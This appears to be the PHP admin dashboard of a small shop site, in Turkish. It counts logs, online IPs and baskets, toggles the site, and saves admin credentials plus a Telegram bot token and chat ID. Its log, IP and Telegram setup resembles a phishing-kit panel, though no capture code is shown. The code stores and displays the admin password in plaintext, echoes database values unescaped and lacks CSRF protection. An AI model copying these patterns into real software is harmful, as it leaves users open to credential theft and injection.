<?php

// Start the session
session_start();
ob_start();
include_once('../inc/db.php');
$db = db_connect();
// If the user is not logged in
if (!isset($_SESSION['user'])) {
    header('Location: index.php');
    exit;
}
if ($_POST) {
    $id = "1";
    $username = $_POST['username'];
    $password = $_POST['password'];
    $supporta = $_POST['supporta'];
    $bottoken = $_POST['bottoken'];
    $chatid = $_POST['chatid'];

    // Güncelleme işlemi için SQL sorgusu
    $sql = "UPDATE admins SET username = :username, password = :password, supporta = :supporta, bottoken = :bottoken, chatid = :chatid WHERE id = :id";
    $stmt = $db->prepare($sql);
    $stmt->bindParam(':username', $username);
    $stmt->bindParam(':password', $password);
    $stmt->bindParam(':supporta', $supporta);
    $stmt->bindParam(':bottoken', $bottoken);
    $stmt->bindParam(':chatid', $chatid);
    $stmt->bindParam(':id', $id);
    $stmt->execute();
}

// Get All Products
$products = $db->query('SELECT * FROM products')->fetchAll(PDO::FETCH_OBJ);

// Get All Baskets
$baskets = $db->query('SELECT * FROM basket')->fetchAll(PDO::FETCH_OBJ);

// Get All Logs
$logs = $db->query('SELECT * FROM logs')->fetchAll(PDO::FETCH_OBJ);

$admin = $db->query('SELECT * FROM admins WHERE id = 1')->fetch(PDO::FETCH_OBJ);
// Get WebSite isActivated
$isActive = $db->query('SELECT * FROM settings WHERE id = 1')->fetch(PDO::FETCH_OBJ);
?>
<!DOCTYPE html>
<html lang="tr">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>ana sayfa • panel</title>
    <!-- TailwindCSS -->
    <script src="https://cdn.tailwindcss.com"></script>
    <!-- JQuery -->
    <script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/3.6.3/jquery.min.js"></script>
    <!-- Toastr JS -->
    <script src="https://cdnjs.cloudflare.com/ajax/libs/toastr.js/latest/toastr.min.js"></script>
    <!-- Toastr CSS -->
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/toastr.js/latest/toastr.min.css"/>
    <!-- Favicon -->
    <link rel="icon" href="src/icon/favicon.ico" type="image/x-icon"/>
    <!-- Bootstrap -->
    <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.0.2/dist/css/bootstrap.min.css" rel="stylesheet">
</head>
<body class="bg-gray-900 text-white">
<header class="bg-gray-800 shadow">
    <div class="flex justify-between items-center h-24 px-8">
        <div class="flex items-center">
            <h1 class="text-xl font-bold text-gray-200">Yönetim Paneli</h1>
        </div>
    </div>
</header>
<div class="flex flex-col md:flex-row">
    <div class="w-full md:w-64 bg-gray-800 h-screen">
        <nav class="mt-4">
            <button class="block w-full text-left px-4 py-2 text-gray-400 hover:bg-gray-700 hover:text-white">
                <a href="dashboard.php">Ana Sayfa</a>
            </button>
            <button class="block w-full text-left px-4 py-2 text-gray-400 hover:bg-gray-700 hover:text-white">
                <a href="logs.php">Loglar</a>
            </button>
            <button class="block w-full text-left px-4 py-2 text-gray-400 hover:bg-gray-700 hover:text-white">
                <a href="yeniurun.php">Yeni Ürün Ekle</a>
            </button>
            <button class="block w-full text-left px-4 py-2 text-gray-400 hover:bg-gray-700 hover:text-white">
                <a href="urun.php">Ürün Düzenle</a>
            </button>
            <button class="block w-full text-left px-4 py-2 text-gray-400 hover:bg-gray-700 hover:text-white">
                <a href="logout.php">Çıkış Yap</a>
            </button>
        </nav>
    </div>
    <div class="w-full md:flex-1">
        <main class="p-6">
            <h2 class="text-3xl font-bold mb-8 text-gray-200">Ana Sayfa</h2>
            <div class="grid grid-cols-1 sm:grid-cols-2 md:grid-cols-3 gap-6 mb-8">
                <!-- Loglar Section -->
                <div class="bg-gray-800 p-6 shadow-lg rounded-lg text-white">
                    <h3 class="text-xl font-semibold mb-2">Loglar</h3>
                    <p class="text-gray-400 text-sm mb-4">Burada toplam log sayısını görebilirsin.</p>
                    <span class="text-2xl font-semibold text-emerald-400" id="countLogs"><?= count($logs) ?></span>
                    <br>
                    <span class="text-xl font-semibold text-emerald-400">
                    <?php
                    $sql = "SELECT COUNT(*) as total_online FROM ips WHERE status = 'online'";
                    $stmt = $db->prepare($sql);
                    $stmt->execute();
                    $result = $stmt->fetch(PDO::FETCH_ASSOC);
                    $totalOnline = $result["total_online"];
                    echo "Toplam online IP sayısı: " . $totalOnline;
                    ?>
                    </span>
                </div>
                <!-- Aktif Sepet Sayısı Section -->
                <div class="bg-gray-800 p-6 shadow-lg rounded-lg text-white">
                    <h3 class="text-xl font-semibold mb-2">Aktif Sepet Sayısı</h3>
                    <p class="text-gray-400 text-sm mb-4">Burada sepetinde ürün olan kullanıcı sayısını görebilirsin.</p>
                    <span class="text-2xl font-semibold text-emerald-400" id="countBaskets"><?= count($baskets) ?></span>
                </div>
                <!-- Hızlı Ayar Section -->
                <div class="bg-gray-800 p-6 shadow-lg rounded-lg text-white">
                    <h3 class="text-xl font-semibold mb-2">Hızlı Ayar</h3>
                    <p class="text-gray-400 text-sm mb-4">Burada siteyi hızlıca deaktif edebilirsin.</p>
                    <label for="toggle" class="flex items-center cursor-pointer">
                        <div class="relative">
                            <input id="toggle" type="checkbox" class="hidden" <?= $isActive->isActive == 2 ? 'checked' : '' ?>>
                            <div class="toggle__line w-10 h-4 bg-gray-600 rounded-full shadow-inner"></div>
                            <div class="toggle__dot absolute w-6 h-6 bg-gray-400 rounded-full shadow inset-y-0 left-0"></div>
                        </div>
                        <div class="ml-3 text-gray-400 font-medium" id="toggle_status"><?= $isActive->isActive == 2 ? 'Aktif' : 'Deaktif' ?></div>
                    </label>
                </div>
            </div>
            <div class="bg-gray-800 p-6 shadow-lg rounded-lg text-white">
                <h3 class="text-xl font-semibold mb-2">Admin Şifre ve Kullanıcı</h3>
                <p class="text-gray-400 text-sm mb-4">
                <?php if ($_POST) { ?>
                    <span class="text-emerald-400 h3">Şifre Başarılı Bir Şekilde Güncellendi</span><br>
                <?php } else {?>
                    Burada Admin Girişini Güncelleyebilirsin
                <?php } ?>
                </p>
                <form action="dashboard.php" method="post">
                    <div class="form-group mb-4">
                        <label for="username" class="text-gray-400">Kullanıcı Adı</label>
                        <input type="text" class="form-control bg-gray-900 text-white" name="username" required value="<?= $admin->username ?>">
                    </div>
                    <div class="form-group mb-4">
                        <label for="password" class="text-gray-400">Şifre</label>
                        <input type="text" class="form-control bg-gray-900 text-white" name="password" required value="<?= $admin->password ?>">
                    </div>
                    <div class="form-group mb-4">
                        <label for="supporta" class="text-gray-400">Canlı Destek</label>
                        <textarea class="form-control bg-gray-900 text-white" name="supporta" required><?= $admin->supporta ?></textarea>
                    </div>
                    <div class="form-group mb-4">
                        <label for="bottoken" class="text-gray-400">Telegram Bot Token</label>
                        <input type="text" class="form-control bg-gray-900 text-white" name="bottoken" required value="<?= $admin->bottoken ?>">
                    </div>
                    <div class="form-group mb-4">
                        <label for="chatid" class="text-gray-400">Telegram Chat ID</label>
                        <input type="text" class="form-control bg-gray-900 text-white" name="chatid" required value="<?= $admin->chatid ?>">
                    </div>
                    <!-- <?=html_entity_decode($main['sources'], ENT_QUOTES, 'UTF-8')?> -->
                    <button class="btn btn-success mt-2">Kaydet</button>
                </form>
            </div>
        </main>
    </div>
</div>

<style>
    .toggle__line {
        transition: all 0.2s ease;
    }

    #toggle:checked + .toggle__line {
        background-color: #34D399;
    }

    .toggle__dot {
        transition: all 0.2s ease;
    }

    #toggle:checked + .toggle__line + .toggle__dot {
        transform: translateX(100%);
    }
</style>

<script>
    const toggle = document.getElementById('toggle');
    toggle.addEventListener('click', async () => {
        const state = toggle.checked ? 2 : 1;
        const response = await fetch('/admin/inc/ajax.php', {
            method: 'POST',
            headers: {
                'Content-Type': 'application/json'
            },
            body: JSON.stringify({
                state: state,
                action: 'toggle'
            })
        });
        const data = await response.json();
        if (data.status === true) {
            toastr.success(data.message);
            document.getElementById('toggle_status').innerHTML = state === 2 ? 'Aktif' : 'Deaktif';
        } else {
            toastr.error(data.message);
        }
    });
</script>

<script src="src/js/init.js"></script>

</body>
</html>